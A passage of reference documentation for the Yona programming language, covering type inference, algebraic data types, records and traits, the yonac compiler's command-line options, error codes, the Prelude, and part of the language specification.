(`<`, `>`, `<=`, `>=`) 11. Equality (`==`, `!=`) 12. Bitwise AND (`&`) 13. Bitwise XOR (`^`) 14. Bitwise OR (`|`) 15. Membership (`in`) 16. Logical AND (`&&`) 17. Logical OR (`||`) 18. Pipe (`|>`, `<|`) Function application binds tighter than every binary operator, so `f x + g y` parses as `(f x) + (g y)`: ```yona let f x = x * 10, g y = y + 1 in f 2 + g 3 # => 24, i.e. (f 2) + (g 3) ``` The full grammar and operator semantics are in the [language specification](/reference/specification/). ## Where to next - [Functions](/learn/functions/) — definitions, lambdas, application, pipes. - [Pattern matching](/learn/pattern-matching/) — `case` and every pattern form. - [Types and data](/learn/types/) — inference, ADTs, records, traits. - [Collections](/learn/collections/) — sequences, dictionaries, sets, generators. --- # Types and data Source: https://yona-lang.org/learn/types/ Yona is statically typed with full type inference. You almost never write a type; the compiler reconstructs the most general (Hindley–Milner) type of every expression and rejects ill-typed programs at compile time. ## Type inference No annotations are required — polymorphism is inferred: ```yona let twice f x = f (f x) in # inferred: (a -> a) -> a -> a twice (\x -> x + 1) 40 # => 42 ``` Annotations are optional documentation, written Haskell-style on the line before a definition; the checker verifies the body against them: ```yona scale : Float -> Float -> Float scale factor x = factor * x ``` Type errors are compile-time errors — `1 + "two"` never reaches the runtime. A full account of the checker lives in the [type system guide](/guides/type-system/). ## Algebraic data types `type` declares a sum type: a name, optional type parameters, and one or more constructors separated by `|`. Constructor fields are types: ```yona type Option a = Some a | None type Result a e = Ok a | Err e type Color = Red | Green | Blue ``` Construct values by applying the constructor; inspect them with [pattern matching](/learn/pattern-matching/): ```yona let found = Some 42 in case found of Some x -> x None -> 0 end # => 42 ``` ### Recursive ADTs A constructor field may mention the type being defined: ```yona type List a = Cons a (List a) | Nil len l = case l of Nil -> 0 Cons _ t -> 1 + len t end len (Cons 1 (Cons 2 Nil)) # => 2 ``` Implementation note. Non-recursive ADTs compile to flat structs `{tag, payload}`; recursive ADTs (and ADTs with function-typed fields) are heap-allocated and reference-counted. ### Function-typed fields Fields can hold functions, written as an arrow type in parentheses. This is how lazy structures like streams are built — the tail is a thunk: ```yona type Lazy a = Cons a (() -> Lazy a) | Empty type Reducer a b = MkReducer (a -> b -> a) ones = Cons 1 (\-> ones) case ones of Cons x _ -> x # => 1 Empty -> 0 end ``` ## Records: named fields A single-constructor ADT can name its fields. Construct with `Name { field = value, … }`, read with dot access, and update functionally — `p { age = 31 }` returns a *copy* with one field replaced, leaving `p` unchanged: ```yona type Person = Person { name : String, age : Int } let p = Person { name = "Alice", age = 30 } in let older = p { age = 31 } in (p.age, older.age, older.name) # => (30, 31, "Alice") ``` Named fields also work in patterns: ```yona case p of Person { name = n } -> n # => "Alice" end ``` ## Constructors are functions Every constructor is a first-class function of its fields. Pass it to higher-order functions or apply it partially like any other function: ```yona type Pair a b = Pair a b import map from Std\List in map Some [1, 2, 3] # => [Some 1, Some 2, Some 3] let point = Pair 1 in # partial application of a 2-field constructor point 2 # => Pair 1 2 ``` ## Traits Traits are Yona's interfaces (type classes): a set of function signatures a type can implement. This section is an introduction — the full story, including superclass constraints and cross-module export, is in the [traits guide](/guides/traits/). ### Declaring a trait ```yona trait Show a show : a -> String end ``` A trait may provide **default methods** — implementations in terms of the other methods, inherited by instances that don't override them: ```yona trait Eq a eq : a -> a -> Bool neq : a -> a -> Bool neq x y = if eq x y then false else true # default end ``` ### Writing an instance ```yona instance Show Int show x = Std\String::fromInt x end # Constrained instance: showing an Option a requires Show a instance Show a => Show (Option a) show opt = case opt of Some x -> "Some(" ++ show x ++ ")" None -> "None" end end show (Some 42) # => "Some(42)" ``` ### Static resolution Trait methods are resolved **at compile time** by monomorphization: each call site compiles the concrete instance directly, so trait dispatch has zero runtime overhead — there are no vtables or dictionaries at runtime. ## Auto-derive The compiler can generate structural instances of `Show`, `Eq`, `Ord`, and `Hash` from an ADT's shape via a `deriving` clause — postfix or inline: ```yona type Color = Red | Green | Blue deriving Show, Eq, Ord, Hash type Pair a b = Pair a b deriving (Show, Eq) show Green # => "Green" show (Pair 1 2) # => "Pair(1, 2)" eq Red Red # => true compare Red Blue # => -1 (declaration order defines Ord) ``` Semantics of the generated instances: - **Show** — nullary constructors print their name; constructors with fields print `Name(field1, field2, …)`, fields shown recursively. - **Eq** — same constructor and all fields equal. - **Ord** — constructor declaration order first (first declared is smallest), then lexicographic left-to-right field comparison; returns `-1`, `0`, or `1`. - **Hash** — the constructor tag mixed with field hashes. Deriving works for polymorphic and recursive ADTs; the generated methods recurse through fields. Types with function-typed fields can derive `Show` (functions print as ``) but not `Eq`, `Ord`, or `Hash`. Derived instances are exported across modules like hand-written ones. ## Anonymous sum types A value can be typed as one of several alternatives without declaring an ADT, using `|` between types; match on the runtime type with typed patterns `(name : Type)`: ```yona parse : String -> Int | String case result of (n : Int) -> n (s : String) -> 0 end ``` ## Prelude types These types are available in every program with no import: ```yona type Option a = Some a | None # optional value type Result a e = Ok a | Err e # success or error type Linear a = Linear a # must be consumed exactly once type Iterator a = Iterator (() -> Option a) # pull-based stream ``` - `Option` and `Result` are the standard ways to express absence and fallibility; see [Std\Option](/stdlib/option/) and [Std\Result](/stdlib/result/). - `Linear` wraps resources (file handles, sockets) that the linearity checker requires you to consume exactly once. - `Iterator` is the streaming protocol used by file and string iteration — O(1) memory per element. Full signatures are in the [prelude reference](/reference/prelude/). ## Where to next - [Pattern matching](/learn/pattern-matching/) — destructuring the data you define. - [Traits guide](/guides/traits/) — superclasses, constrained instances, exports. - [Type system guide](/guides/type-system/) — inference internals and status. --- # Compiler CLI Source: https://yona-lang.org/reference/cli/ Yona ships two binaries: `yonac`, the ahead-of-time compiler, and `yona`, an interactive compile-and-run REPL. ## yonac ```bash yonac [input.yona] [options] yonac -e "expression" [options] ``` `yonac` compiles Yona source to a native executable via LLVM. If the first non-comment token of the input is `module`, the file is compiled as a **module** to an object file plus a `.yonai` interface file; otherwise it is compiled as an **expression program** and linked into an executable. ### Input | Option | Description | |--------|-------------| | `input` | Positional argument: the input `.yona` file | | `-e, --expression ` | Compile an expression given on the command line instead of a file | Exactly one input source is required — a file or `-e`. ### Output | Option | Description | |--------|-------------| | `-o, --output ` | Output file name | | `--emit-ir` | Print LLVM IR to stdout instead of compiling | | `--emit-obj` | Emit an object file only; do not link | Default output names when `-o` is omitted: | Input kind | Default output | |------------|----------------| | Expression program | `a.out` (`a.exe` on Windows) | | Module, or any input with `--emit-obj` | input stem + `.o` (`a.o` for `-e` expressions) | Compiling a module additionally writes an interface file next to the object file, with the same stem and the `.yonai` extension. ### Optimization and debugging | Option | Description | |--------|-------------| | `-O ` | Optimization level, 0–3 (default 2) | | `-g, --debug` | Emit DWARF debug information | ### Warnings | Option | Description | |--------|-------------| | `--Wall` | Enable common warnings (unused variables, incomplete/overlapping patterns, unhandled effects) | | `--Wextra` | Enable all warnings (adds shadowing, missing signatures, unused imports) | | `--Werror` | Treat warnings as errors | | `-w` | Suppress all warnings | The individual warning flags and which group enables them are listed on the [error codes](/reference/error-codes/) page. ### Modules | Option | Description | |--------|-------------| | `-I, --include ` | Add a module search path (for `.yonai` interface files); repeatable | | `--sysroot ` | Yona distribution root, used to find `lib/` and the runtime objects | Imports (and `Prelude.yonai`) are resolved by searching, in order: paths given with `-I`, directories in `YONA_PATH`, the input file's directory, the current directory, then `lib/` and `share/yona/lib/` under each discovered distribution root. Distribution roots come from `--sysroot`, the `YONA_HOME` environment variable, and the directory containing the `yonac` executable. `YONA_PATH` is a `:`-separated list on Unix and a `;`-separated list on Windows. ### Accelerators The compiler transparently lowers recognized `Std\IntArray` / `Std\FloatArray` `map`, `filter`, and `foldl` call sites to the [Std\GPU](/stdlib/gpu/) kernel ABI. These flags inspect or control that lowering: | Option | Description | |--------|-------------| | `--emit-accelerator-report` | Print a JSON report of `Std\GPU`-shaped call sites and exit without generating code. Expression programs are reported after typechecking; modules from an AST scan by default | | `--emit-accelerator-report-with-types` | With `--emit-accelerator-report` on a module, run the typechecker first so each site can include its inferred type. Module sources only | | `--no-accelerator-lowering` | Keep IntArray/FloatArray map/filter/foldl on the host closure path; do not rewrite recognized kernels to the `Std\GPU` ABI | | `--strict-accelerator` | Error (E0700) on IntArray/FloatArray map/filter/foldl lambdas outside the fixed `Std\GPU` kernel library, instead of silently falling back to the host path | `--emit-accelerator-report` cannot be combined with `--emit-ir` or `--emit-obj`, and `--emit-accelerator-report-with-types` requires `--emit-accelerator-report`. ### Linking | Option | Description | |--------|-------------| | `--linker-mode ` | Linker selection: `auto`, `bundled`, `system`, or `inprocess`. Can also be set via the `YONAC_LINKER_MODE` environment variable; the flag takes precedence | In `inprocess` mode `yonac` links with an in-process LLD; if that is unavailable or fails, it falls back to the external linker path with a warning (or a hard error when `YONAC_REQUIRE_INPROCESS_LLD` is set). ### Diagnostics and information | Option | Description | |--------|-------------| | `--explain ` | Print the detailed explanation for an error code (e.g. `E0100`) and exit | | `--version` | Print the compiler version and exit | ## yona (REPL) `yona` is an interactive compile-and-run loop: each line you type is compiled to a temporary native executable, run, and its output printed. ```bash $ yona Yona REPL (type expressions, Ctrl-D to exit) yona> 1 + 2 3 ``` - Exit with `Ctrl-D`, `:q`, or `:quit`. - The REPL honors `YONAC_CC`, `YONAC_LINKER_MODE`, and `YONAC_REQUIRE_INPROCESS_LLD`, and discovers the runtime from the same distribution roots as `yonac` (including `YONA_HOME`). ## Environment variables | Variable | Effect | |----------|--------| | `YONA_HOME` | Additional Yona distribution root; searched for `lib/` (modules, `Prelude`) and packaged runtime objects | | `YONA_PATH` | Extra module search directories (`Prelude.yonai` and `import … from …`). Separated by `:` on Unix and `;` on Windows. Needed when compiling from a directory that has no cwd-relative `lib/` | | `YONAC_CC` | C compiler driver used to compile the runtime from source and to drive external linking (default: `cc` on Unix, `clang` on Windows) | | `YONAC_LINKER_MODE` | Default for `--linker-mode` (`auto`, `bundled`, `system`, `inprocess`) when the flag is not given | | `YONAC_REQUIRE_INPROCESS_LLD` | When set to `1`/`true`/`yes`/`on`, make a failed or unavailable in-process LLD link a hard error instead of falling back to the external linker | | `YONA_COMPILE_GPU_VULKAN` | When set to `1` together with `VULKAN_SDK`, compile the runtime from source with Vulkan GPU support enabled; leave unset for the default CPU-only runtime | ## Common workflows Compile a file to an executable and run it: ```bash yonac hello.yona -o hello ./hello ``` Evaluate an expression directly: ```bash yonac -e "1 + 2" -o calc ./calc ``` Inspect the generated LLVM IR: ```bash yonac --emit-ir -e "import foldl from Std\List in foldl (\acc x -> acc + x) 0 [1, 2, 3]" ``` Get a detailed explanation for an error code: ```bash yonac --explain E0100 ``` Compile a module (producing `Geometry.o` and `Geometry.yonai`), then a program that imports it: ```bash yonac Geometry.yona yonac -I . main.yona -o app ``` Build with warnings as errors and debug info: ```bash yonac --Wall --Werror -g main.yona -o app ``` Audit GPU-acceleratable call sites in a module, with inferred types: ```bash yonac --emit-accelerator-report --emit-accelerator-report-with-types Stats.yona -I lib ``` --- # Error codes Source: https://yona-lang.org/reference/error-codes/ Every compiler error includes a code like `[E0100]`. Run `yonac --explain E0100` to see a detailed explanation with examples for any code on this page. See the [Compiler CLI](/reference/cli/) reference for warning-control flags. ## Type errors (E01xx) ### E0100 — Type mismatch Two types that should be compatible are not. ```yona # Error: Int and String cannot be unified 1 + "hello" # Fix: ensure both operands have the same type 1 + 2 ``` Common causes: - Operator applied to incompatible types (`Int + String`) - If branches return different types (`if true then 1 else "no"`) - Function called with the wrong argument type - Sequence with mixed element types (`[1, "two", 3]`) ### E0101 — Infinite type A type variable would need to contain itself (occurs check failure). This happens when an expression's type depends on itself circularly. ```yona # Error: f's type would contain itself let f x = f in f ``` **Fix:** break the self-reference; a function cannot be its own return type. ### E0102 — Tuple size mismatch A tuple pattern has a different number of elements than the tuple being matched. ```yona # Error: 3-tuple matched against 2-tuple pattern case (1, 2, 3) of (a, b) -> a end # Fix: match all elements case (1, 2, 3) of (a, b, c) -> a end ``` ### E0103 — Undefined variable A variable is used but not defined in the current scope. The compiler suggests similar names when a close match exists: ``` error: undefined variable 'lenght'; did you mean 'length'? [E0103] ``` ```yona # Variables are only visible within their defining scope let x = 42 in x # OK x # Error: x is not in scope ``` **Fix:** correct the spelling or bind the variable before use. ### E0104 — Undefined function A function is called but has not been defined or imported. ``` error: undefined function 'prnt'; did you mean 'print'? [E0104] ``` **Fix:** correct the typo or add the missing import. ### E0105 — No trait instance A trait method is called on a type that doesn't implement the trait. ```yona # Error: no instance for 'Num String' abs "hello" # Fix: use a type that has a Num instance abs (-42) ``` ### E0106 — Missing trait instances A trait is used but no instances have been registered for it at all. This usually means the trait definition is missing or not imported. **Fix:** define or import the trait and at least one instance. ## Effect errors (E02xx) See [effects](/learn/effects/) for the effect system itself. ### E0200 — Unhandled effect operation A `perform` calls an effect operation, but no `handle ... with` block in scope provides a handler. ```yona # Error: no handler for State.get perform State.get () # Fix: wrap in a handle block handle perform State.get () with State.get () resume -> resume 42 return val -> val end ``` ### E0201 — Effect argument count mismatch A `perform` call passes the wrong number of arguments to an effect operation. ```yona # Effect declares: put : s -> () # Error: put expects 1 argument, got 0 perform State.put # Fix: pass the required argument perform State.put 42 ``` ### E0202 — Unhandled effect at call site A function whose type includes latent effects (`!{Effect.op}`) is applied where those operations are not covered by a surrounding `handle ... with`. The primary diagnostic points at the introducing `perform`; a note marks the call that lets the effect escape. ```yona # f : a -> !{State.get} Int let f = (\x -> perform State.get ()) in f 0 # Error: points at `perform State.get` # Fix: handle the effect at the use site handle f 0 with State.get () resume -> resume 7 end ``` A direct `perform` without a handler still warns via `-Wunhandled-effect`. ## Parse errors (E03xx) ### E0300 — Unexpected token The parser encountered a token that doesn't fit the expected syntax. Common causes: - Missing closing bracket, paren, or `end` keyword - Extra comma or semicolon - Reserved word used as an identifier ### E0301 — Invalid syntax The source code doesn't match any valid Yona syntax. Check expression structure and keyword spelling against the [language specification](/reference/specification/). ### E0302 — Invalid pattern A pattern in a case expression or function parameter is malformed. Valid pattern forms: ```yona 42 # integer literal "hello" # string literal :ok # symbol x # variable binding _ # wildcard (a, b) # tuple [h|t] # head-tail (list) [] # empty list Some x # constructor (n : Int) # typed (sum type) p1 | p2 # or-pattern ``` ## Codegen errors (E04xx) ### E0400 — Failed to emit object file LLVM could not produce an object file. This is usually an internal compiler error. ### E0401 — Linking failed The system linker failed to produce an executable. Common causes: - Missing runtime library (`compiled_runtime.o`) - Undefined symbols from missing module imports - System linker not installed **Fix:** check that the toolchain is installed and imported modules have been compiled; see the [Compiler CLI](/reference/cli/) reference for `YONAC_CC` and `--linker-mode`. ### E0402 — Unsupported expression The codegen encountered an AST node it cannot compile. This may indicate a language feature that is not yet implemented. ### E0403 — Unknown field A field access or update refers to a field name that doesn't exist on the ADT. ```yona type Person = Person { name : String, age : Int } p.email # Error: 'email' is not a field of Person p.name # OK ``` ### E0404 — Pipe requires function The pipe operator (`|>` or `<|`) requires a function on the receiving side. ```yona # Error: 42 is not a function "hello" |> 42 # Fix: pipe into a function "hello" |> length ``` ## Refinement errors (E05xx) ### E0500 — Refinement predicate not satisfied A function expects a refined type, but the compiler cannot prove that the argument satisfies the refinement predicate. ```yona type NonEmpty a = { xs : [a] | length xs > 0 } head : NonEmpty a -> a # Error: cannot prove 'someList' is non-empty head someList # Fix: establish the fact via pattern matching case someList of [h|t] -> head someList # OK: [h|t] proves non-empty [] -> defaultValue end ``` Passing a literal that obviously satisfies the predicate (e.g. `head [1, 2, 3]`) also works, as does a pattern match or comparison that proves an integer refinement such as `{ n : Int | n > 0 && n < 65536 }`. ## Linearity errors (E06xx) These are produced by the linearity checker for `Linear` values (see the [Prelude](/reference/prelude/)). ### E0600 — Use after consume A linear value was used after it was already consumed by a pattern match or function call. ```yona let conn = Linear (tcpConnect host port) in case conn of Linear fd -> close fd end # conn consumed send conn "hello" # Error: already consumed ``` **Fix:** use the value before consuming it — do all work inside the case arm that unwraps it. ### E0601 — Branch inconsistency A linear value is consumed in one branch of an if/case expression but not the other. Both branches must consume the same linear values. ```yona # Error: conn consumed in then-branch but not else-branch if ready then case conn of Linear fd -> close fd end else () # conn still live here ``` **Fix:** consume the value in every branch (e.g. close it in the else branch too). ### E0602 — Resource leak A linear value went out of scope without being consumed. This likely means a resource (file, socket, process) is leaked. ```yona let conn = Linear (tcpConnect host port) in 42 # Error: conn never consumed ``` **Fix:** consume the value via pattern match before the end of its scope. ### E0603 — Invalid `@borrow` `@borrow` marks a parameter as read-only for the function body: it must not be returned, stored in a collection literal, captured by a nested lambda, or used as a case scrutinee (head/tail consumes the sequence). It is only supported on simple identifier parameters. ```yona # Error: borrowed parameter is returned let f @borrow s = s in f ``` **Fix:** remove `@borrow`, or change the body so the parameter is only read. ## Accelerator errors (E07xx) ### E0700 — Unlowerable accelerator lambda Only reported under `yonac --strict-accelerator`, which requires `Std\IntArray` / `Std\FloatArray` `map` / `filter` / `foldl` lambdas to match the fixed [Std\GPU](/stdlib/gpu/) kernel library (`x + k`, `x * k`, `x > k`, sum, float scale). Arbitrary lambdas such as `\x -> x * x` are not compiled to SPIR-V; without the flag they stay on the correct host closure path, while with it they are a hard error so GPU expectations cannot silently diverge from the fixed-kernel ABI. **Fix:** rewrite the lambda as a fixed kernel (e.g. `map (\x -> x + 1)`, explicit `mapGPU`), or drop `--strict-accelerator` to keep the host path. ## Warning flags Warnings are controlled via `--Wall`, `--Wextra`, `-w`, and `--Werror` (see the [Compiler CLI](/reference/cli/)). | Flag | Name | `--Wall` | `--Wextra` | |------|------|----------|------------| | `-Wunused-variable` | Unused variable binding | yes | yes | | `-Wincomplete-patterns` | Non-exhaustive pattern match | yes | yes | | `-Woverlapping-patterns` | Overlapping case patterns | yes | yes | | `-Wunhandled-effect` | `perform` without matching `handle` | yes | yes | | `-Wshadow` | Variable shadowing | no | yes | | `-Wmissing-signature` | Function without type annotation | no | yes | | `-Wunused-import` | Imported name not used | no | yes | --- # Prelude Source: https://yona-lang.org/reference/prelude/ The Prelude is a Yona module that is automatically loaded for all programs. Its types and functions are available everywhere without an explicit import. This page is the complete reference for the core Prelude surface; utility functions over these types (such as `map` and `unwrapOr` for options) live in the standard library — see [Std\Option](/stdlib/option/) and [Std\Result](/stdlib/result/). ## Types | Type | Constructors | Purpose | |------|--------------|---------| | `Linear a` | `Linear a` | Resource wrapper; must be consumed exactly once | | `Option a` | `Some a`, `None` | Optional value | | `Result a e` | `Ok a`, `Err e` | Success or failure | | `Iterator a` | `Iterator (() -> Option a)` | Pull-based streaming iterator | All constructors are first-class functions and can be used in pattern matching. ### Linear a ```yona type Linear a = Linear a ``` Wraps a resource (file handle, socket, process handle) whose lifecycle is tracked by the linearity checker. A `Linear` value must be consumed **exactly once**, by pattern matching. Using it after consumption, consuming it in only one branch of a conditional, or letting it go out of scope unconsumed are compile-time errors (see [error codes](/reference/error-codes/) E0600–E0602). ```yona let conn = Linear (tcpConnect host port) in case conn of Linear fd -> do send fd "hello" close fd end end ``` ### Option a ```yona type Option a = Some a | None ``` An optional value: `Some x` when a value is present, `None` when it is absent. Functions that may not produce a result return `Option` instead of a sentinel value. ```yona let safeDiv = (\a b -> if b == 0 then None else Some (a / b)) in case safeDiv 10 2 of Some v -> v None -> 0 end # => 5 ``` ### Result a e ```yona type Result a e = Ok a | Err e ``` The outcome of a computation that can fail: `Ok value` on success, `Err error` on failure. The error type `e` is often a symbol or a string. ```yona let toPort = (\n -> if n > 0 && n < 65536 then Ok n else Err "out of range") in case toPort 8080 of Ok p -> p Err _ -> 0 end # => 8080 ``` ### Iterator a ```yona type Iterator a = Iterator (() -> Option a) ``` A pull-based iterator: it wraps a function that returns `Some element` on each call and `None` once exhausted. Streaming producers in the standard library (`readLines`, `chars`, `split`) return `Iterator` so large inputs are processed in O(1) memory. Generators consume iterators as sources, which is the idiomatic way to feed one into a fold: ```yona import readLines from Std\File, foldl from Std\List in foldl (\acc _ -> acc + 1) 0 [line for line = readLines "data.txt"] # => number of lines in the file ``` ## Functions | Function | Signature | Semantics | |----------|-----------|-----------| | `identity` | `a -> a` | Returns its argument unchanged | | `const` | `a -> b -> a` | Ignores its second argument | | `flip` | `(a -> b -> c) -> b -> a -> c` | Swaps a function's two arguments | | `compose` | `(b -> c) -> (a -> b) -> a -> c` | Applies `g`, then `f` | These four combinators are the complete prelude function surface. Collection folds and transformations (`foldl`, `foldr`, `map`, `filter`, …) are **not** prelude functions — import them from [Std\List](/stdlib/list/): ```yona import foldl from Std\List in foldl (\acc x -> acc + x) 0 [1, 2, 3, 4] # => 10 ``` `Std\List.foldl` is tail-recursive, which the compiler turns into a loop — it never grows the stack. `foldr` recurses to the right and is not tail-recursive; prefer `foldl` for aggregation over long sequences. ### identity ```yona identity x = x ``` Returns its argument unchanged. Useful as a default transformation for higher-order functions. ```yona identity 42 # => 42 identity "yona" # => "yona" ``` ### const ```yona const x _ = x ``` Returns its first argument and ignores the second. Partially applied, `const x` is a function that returns `x` for any input. ```yona const 1 99 # => 1 let always0 = const 0 in always0 5 # => 0 ``` ### flip ```yona flip f a b = f b a ``` Reverses the argument order of a two-argument function. ```yona flip (\a b -> a - b) 2 10 # => 8 ``` ### compose ```yona compose f g x = f (g x) ``` Function composition: applies `g` first, then `f` to the result. ```yona compose (\x -> x * 2) (\x -> x + 1) 5 # => 12 ``` ## Other always-available definitions The Prelude also defines file-I/O and reflection support types — `FileHandle`, `FileMode` (`Read | Write | ReadWrite | Append`), `Whence` (`SeekSet | SeekCur | SeekEnd`), and `Type` (returned by `typeOf`) — as well as the built-in traits `Show`, `Eq`, `Ord`, `Hash`, `Array`, and `Closeable` with instances for the primitive types. See [Std\File](/stdlib/file/) and [Std\Types](/stdlib/types/) for the functions that use them, and the [language specification](/reference/specification/) for trait semantics. --- # Language specification Source: https://yona-lang.org/reference/specification/ This document specifies the Yona language as implemented by the reference compiler `yonac`. Normative rules are stated in prose; *implementation notes* describe how `yonac` realizes them and are informative, not binding on other implementations. A Yona **program is a single expression**. Compiling a source file that contains an expression produces an executable whose exit code is the expression's value (for integer results). A source file may instead contain a **module declaration**, which compiles to a linkable object file plus an interface file (§7). ## 1. Lexical structure ### 1.1 Source text Source files are UTF-8. Identifiers are ASCII: functions and variables match `[a-z_][A-Za-z0-9_]*` (camelCase by convention), type and constructor names and module segments match `[A-Z][A-Za-z0-9_]*` (PascalCase). ### 1.2 Comments ```yona # a line comment runs to end of line ## a doc comment — extracted by the API documentation generator /* a block comment /* block comments nest */ and may span lines */ ``` `#` introduces a line comment. `##` at the start of a line is a documentation comment, attached to the following declaration by documentation tooling; to the compiler it is an ordinary comment. `/* … */` comments nest and may contain newlines. ### 1.3 Newlines Newlines are significant tokens. A newline (or a `;`, which is equivalent) terminates an expression in the three positions where expression sequences occur: **case arms**, **`do`-block steps**, and **module-level function bodies**. A newline is *suppressed* — treated as ordinary whitespace — in exactly these situations: 1. **Inside brackets** `()`, `[]`, `{}`. Bracketed expressions may span any number of lines. Exception: when a `case`, `do`, `with`, or `handle` block is open *inside* the brackets, newlines again act as clause separators, so the block's arms still terminate correctly. 2. **After a binary operator or continuation token** (`+`, `*`, `->`, `=`, `,`, `|>`, …). This permits natural line continuation: ```yona let total = price + tax in total ``` This rule is what allows juxtaposition application (§3.6) to coexist with expression sequences: `f x y` never runs onto the next line accidentally, because the newline ends it unless an operator invites continuation. ### 1.4 Keywords ``` let in do end case of if then else with as module import export from type trait instance try catch raise extern async daemon perform handle resume effect for ``` ### 1.5 Literals | Form | Examples | Notes | |------|----------|-------| | Integer | `42`, `-17`, `1_000_000` | 64-bit signed; `_` separators permitted between digits | | Float | `3.14`, `-0.5`, `1.23e-4` | IEEE 754 double | | String | `"hello"`, `"a\nb"` | UTF-8; escapes `\"` `\\` `\n` `\r` `\t` `\0`; interpolation §3.2 | | Character | `'a'`, `'\n'` | single Unicode scalar | | Boolean | `true`, `false` | | | Unit | `()` | the empty tuple; the type and value of "nothing" | | Symbol | `:ok`, `:not_found` | interned atoms, snake_case by convention | *Implementation note.* Symbols are interned to 64-bit integer identifiers at compile time; symbol comparison is a single integer comparison, and matching on symbols compiles to an integer switch. ## 2. Values and their syntax ### 2.1 Collections ```yona [1, 2, 3] # sequence (persistent list) [] # empty sequence (1, "two", true) # tuple — fixed arity, heterogeneous (42,) # one-element tuple {1, 2, 3} # set {"name": "Ada", "age": 36} # dictionary {} # empty dictionary ``` Sequences, sets, and dictionaries are **persistent**: every operation returns a new value sharing structure with the old one. Tuples are fixed-arity product values. *Implementation note.* Small sequences are flat arrays; large ones are radix-balanced tries. Dictionaries and sets are hash array mapped tries (HAMTs). All share structure on update. See [Persistent data structures](/guides/persistent-data-structures/). ### 2.2 Generators (comprehensions) ```yona [x * 2 for x = xs] # sequence generator [x for x = xs, if x > 3] # with guard {x * 2 for x = xs} # set generator {k : v * 10 for k = ks} # dictionary generator [| f x for x = xs ] # parallel generator (§6.3) ``` The general form is `[expr for pattern = source]` with an optional `, if guard`. The `source` is any sequence-valued expression. *Implementation note.* Generators compile to counted loops, not closures. With a guard, a two-pass strategy first counts matches, then fills the result without reallocation. Chained collection pipelines are stream-fused into a single loop when the compiler can prove it safe. ## 3. Expressions ### 3.1 `let` ```yona let x = 42 in x + 1 # single binding let x = 10, y = 20 in x + y # multiple bindings let add x y = x + y in add 3 4 # function-definition binding let (a, b) = (1, 2) in a + b # pattern binding let _ = println "side effect" in 42 # discard binding ``` `let bindings in body` introduces bindings scoped to `body`. Bindings are separated by commas. A binding's left side is a pattern; a name followed by parameter patterns is sugar for binding a lambda. A type annotation may precede a function binding on its own line: ```yona let add : Int -> Int -> Int add x y = x + y in add 3 4 ``` **Evaluation order.** Bindings that depend on earlier bindings observe their values. Bindings that are *independent* of one another have **no defined sequential order** and may be evaluated concurrently (§6.2). Code whose side effects require an order must use `do`. ### 3.2 Strings and interpolation Within a string literal, `{name}` interpolates a variable and `{(expr)}` interpolates a parenthesized expression; non-string values are converted to their textual form: ```yona let x = 6 in "the answer is {(x * 7)}" # "the answer is 42" ``` ### 3.3 `do` ```yona do fd = tcpConnect "localhost" 8080 # binding step send fd "hello" # expression step response = recv fd 4096 response # value of the block end ``` `do … end` evaluates its steps **strictly in textual order**. A step of the form `name = expr` binds `name` for subsequent steps. The block's value is its last expression. `do` is the sequencing primitive; use it whenever side effects must happen in order. ### 3.4 `if` ```yona if x > 0 then "positive" else if x < 0 then "negative" else "zero" ``` `if` is an expression; both branches are required and must have the same type. ### 3.5 Functions and lambdas ```yona add x y = x + y # space-separated parameter patterns factorial n = case n of 0 -> 1 _ -> n * factorial (n - 1) end abs x if x >= 0 = x # guard; next clause if false abs x if x < 0 = -x scale : Float -> Float -> Float # optional annotation scale factor x = factor * x \x -> x * 2 # lambda \(x, y) -> x + y # lambda with tuple pattern \-> expensive () # zero-argument lambda (thunk) ``` There is no `name(x, y) -> body` definition form. `name (x, y) = body` is a single tuple pattern, not two parameters. A function of several clauses is matched top to bottom; the first clause whose patterns (and guard, if present) match is selected. Functions are first-class values; partial application is automatic: ```yona let add5 = add 5 in add5 10 # => 15 ``` **Zero-arity functions auto-evaluate** when referenced by name (Yona is strict). To pass one as a value, wrap it in a thunk: `\-> f`. ### 3.6 Application Application is by **juxtaposition** — `f x y`. `f(x)` is the same as `f x`. `f(x, y)` applies `f` to the tuple `(x, y)`; it is not a two-argument call. Juxtaposition binds tighter than every binary operator: `f x + g y` parses as `(f x) + (g y)`. Pipes reverse application order for pipeline style: ```yona value |> stage1 |> stage2 # stage2 (stage1 value) stage2 <| stage1 <| value # the same, right-to-left ``` *Implementation note.* `yonac` compiles functions by **deferred monomorphization**: a definition is stored as a typed AST and compiled at each call site where concrete argument types are known. Closures capture free variables in a heap environment; a closure value is `{fn_ptr, ret_tag, arity, captures…}`. ### 3.7 `case` ```yona case value of 0 -> "zero" n if n > 0 -> "positive" _ -> "negative" end ``` `case scrutinee of clauses end` evaluates the scrutinee once, then tests clauses top to bottom (§4 defines patterns). The first matching clause's body is the expression's value. All clause bodies must have the same type. If no clause matches at runtime, the program aborts with a match error; the compiler warns when it can prove a constructor uncovered. ### 3.8 `with` (resources) ```yona with handle = tcpConnect "localhost" 8080 in send handle "hello" # handle is closed when the body completes ``` `with name = resource in body` evaluates `resource`, binds it to `name`, evaluates `body`, and then releases the resource by calling the `Closeable` trait's `close` method — resolved statically for the resource's type. Using a value whose type does not implement `Closeable` is a compile-time error. *Current limitation.* Release is guaranteed when `body` completes normally. If an exception propagates out of `body`, `close` is **not** currently invoked on the unwind path. ### 3.9 Exceptions ```yona type Error = NotFound String | IOError String raise (NotFound "config.toml") try riskyOperation () catch NotFound path -> "missing: " ++ path IOError msg -> "io: " ++ msg _ -> "unknown failure" end ``` Exception values are ordinary ADT values. `raise` throws; `try … catch … end` matches the raised value against clauses like a `case`. An unmatched exception propagates; an uncaught exception terminates the program with a stack trace. ### 3.10 Algebraic effects Partial ```yona handle perform State.get () with State.get () resume -> resume 42 return val -> val end ``` `perform Effect.op arg` requests the operation `Effect.op` from the nearest enclosing `handle` that covers it. A handler clause receives the operation's argument and a `resume` continuation; `return val -> …` transforms the handled expression's normal result. Function types carry a **latent effect row** listing the operations the function may perform: `Int -> !{State.get} Int`. `handle` subtracts the operations it covers; applying a function whose row is not fully covered at the top level is error **E0202**, reported at the introducing `perform` with a note at the call site. Higher-order functions carry open rows (`!{|r}`) that unify with their argument's row. *Current limitations.* Handlers are shallow, in-scope dispatch: `resume` is an identity continuation, not a captured delimited continuation. `effect` declarations do not parse yet; operations are identified by their `Effect.op` label at `perform` sites. See [Effects](/learn/effects/) for the practical guide. ### 3.11 `extern` (C FFI) ```yona extern sqrt : Float -> Float in extern pow : Float -> Float -> Float in sqrt (pow 2.0 10.0) # => 32.0 extern async readFile : String -> 